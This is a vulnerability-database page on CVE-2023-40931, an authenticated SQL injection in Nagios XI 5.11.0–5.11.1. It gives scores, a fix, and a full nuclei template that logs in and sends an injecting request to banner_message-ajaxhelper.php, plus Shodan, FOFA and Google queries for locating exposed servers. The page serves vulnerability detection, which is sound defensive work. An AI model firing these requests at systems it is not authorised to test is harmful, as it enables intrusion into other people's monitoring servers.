HexBrain

Browse / CVEs / CVE-2023-40931

CVE-2023-40931· nagios / nagios xi· CWE-89

Nagios XI v5.11.0 - SQL Injection

mediumseverity
6.5CVSS score
11.9%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.

Impact

Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands.

Fix

Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET /nagiosxi/login.php ; POST /nagiosxi/login.php ; POST /nagiosxi/admin/banner_message-ajaxhelper.php
Positive when: contains "Failed to acknowledge" and "SQL Error" and "right syntax to use near" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40931 -u <target>

The full check
id: CVE-2023-40931

info:
  name: Nagios XI v5.11.0 - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands.
  remediation: |
    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40931
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-40931
    cwe-id: CWE-89
    epss-score: 0.11869
    epss-percentile: 0.96132
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query: title:"Nagios XI"
    fofa-query: app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

      - |
        POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=acknowledge_banner_message&id=*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to acknowledge"
          - "SQL Error"
          - "right syntax to use near"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from